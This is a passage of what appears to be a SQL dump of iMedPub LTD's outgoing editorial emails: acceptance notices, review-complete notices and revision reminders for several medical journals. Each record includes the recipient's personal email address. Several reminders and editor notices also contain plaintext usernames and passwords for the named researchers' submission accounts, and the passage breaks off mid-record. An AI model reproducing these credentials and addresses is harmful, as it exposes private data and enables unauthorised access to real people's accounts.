</tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neurosurgery@europe.com',7559,'2021-07-29',75),(3548,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8147</b><br />\r\n            <br />\r\n            Article Title: <b>Gerstmann-Straussler-Scheinker disease- A Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shetty</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','pdsprathamdshetty05@gmail.com',8147,'2021-07-29',75),(3550,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8135</b><br />\r\n            <br />\r\n            Article Title: <b>IMPACT OF PARENT PROXY REPORTED QUALITY OF LIFE OF CHILDREN WITH CP TO PARENTAL PSYCHOSOCIAL DISTRESS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>GHAZANFAR</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mariam.ghazanfar839@gmail.com',8135,'2021-07-30',1050),(3551,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-9110</b><br />\r\n            <br />\r\n            Article Title: <b>prof.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pop-Jordanova</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','popjordanova.nadica@gmail.com',9110,'2021-07-30',75),(3552,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9641</b><br />\r\n            <br />\r\n            Article Title: <b>Inflammatory Myofibroblastic Tumor of the Liver: A Case Report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Javier Reyes Quan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Strejilevich</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipadm-21-9641</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','leonardostrejilevich@hotmail.com',9641,'2021-07-31',274),(3555,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9517</b><br />\r\n            <br />\r\n            Article Title: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Palak Paudel</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-9517</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',9517,'2021-07-31',85),(3566,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9641</b><br />\r\n            <br />\r\n            Article Title: <b>Inflammatory Myofibroblastic Tumor of the Liver: A Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Strejilevich</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipadm-21-9641</b> for the <b>Archivos de Medicina</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','leonardostrejilevich@hotmail.com',9641,'2021-08-03',274),(3567,'<p>Ref.:  Ms. No. : <b>ipadm-21-8837</b><br />\r\n<br />\r\nARTICLE TITLE: <b>S&Atilde;NDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Gomez Asis</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-8837</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jose_isidro</b><br />\r\npassword: <b>uJYEbmQn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','juancho251997@hotmail.com',8837,'2021-08-03',274),(3568,'<p>Ref.:  Ms. No. : <b>ipadm-21-9235</b><br />\r\n<br />\r\nARTICLE TITLE: <b>RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJ&Ouml;GREN SECUNDARIO. REPORTE DE UN CASO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Saenz Lopez</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9235</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jose_david</b><br />\r\npassword: <b>jZav5vGy</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','josedsaenzlopez@hotmail.com',9235,'2021-08-03',274),(3569,'<p>Ref.:  Ms. No. : <b>ipadm-21-9340</b><br />\r\n<br />\r\nARTICLE TITLE: <b>ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOG&Iacute;A, MANIFESTACIONES, DIAGN&Oacute;STICO Y TRATAMIENTO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Perez Calvo</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9340</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>christian</b><br />\r\npassword: <b>JP7xp2Wg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','christianperez05@hotmail.com',9340,'2021-08-03',274),(3570,'<p>Ref.:  Ms. No. : <b>ipadm-21-9340</b><br />\r\n<br />\r\nARTICLE TITLE: <b>ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOG&Iacute;A, MANIFESTACIONES, DIAGN&Oacute;STICO Y TRATAMIENTO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Perez Calvo</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9340</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>christian</b><br />\r\npassword: <b>JP7xp2Wg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','christianperez05@hotmail.com',9340,'2021-08-03',274),(3573,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9210</b><br />\r\n            <br />\r\n            Article Title: <b>Non-invasive hemodynamic monitoring in TAVI-patients reveals more pronounced  early in-hospital circulatory recovery for low-gradient aortic stenosis  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Markus </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','birgit.markus@staff.uni-marburg.de',9210,'2021-08-04',85),(3580,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9381</b><br />\r\n            <br />\r\n            Article Title: <b>Surgical management of a vascular complication in a pediatric patient with Kawasaki-like disease due to association of SARS-CoV-2 and Dengue. Case presentation.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Argotti</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','danielsan_0411@hotmail.com',9381,'2021-08-05',85),(3581,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9517</b><br />\r\n            <br />\r\n            Article Title: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Paudel</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-21-9517</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>palak</b><br />\r\n            Password : <b>SyVhf4jr</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','palakpaudel@gmail.com',9517,'2021-08-05',85),(3582,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-08-05',85),(3586,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-08-06',85),(3591,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9641</b><br />\r\n            <br />\r\n            Article Title: <b>Inflammatory Myofibroblastic Tumor of the Liver: A Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Reyes Quan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jareq_9@hotmail.com',9641,'2021-08-07',274),(3592,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9543</b><br />\r\n            <br />\r\n            Article Title: <b>COVID-19 vaccines: Immune response after vaccination against SARS-CoV-2 infections</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Verma</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jayaverma@iitd.ac.in',9543,'2021-08-07',48),(3593,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9611</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of Level of Professionalism among Clinical Radiographers Practicing in Anambra State, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Promise Ogolodom</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mpos2007@yahoo.com',9611,'2021-08-07',48),(3602,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9627</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence of Antenatal Care Services Satisfaction among Mothers Attending Antenatal Care in Goba hospital, Bale Zone, Oromia Region, Southeast Ethiopia </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wanamo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tilahunjimma2008@gmail.com',9627,'2021-08-10',48),(3610,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8836</b><br />\r\n            <br />\r\n            Article Title: <b>STUDY IN THE WILLINGNESS TO ACCEPT COVID-19 VACCINE AMONG HEALTHCARE WORKERS IN GOMBE, NORTH-EAST, NIGERIA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Abdulsalam Yakubu</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-21-8836</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            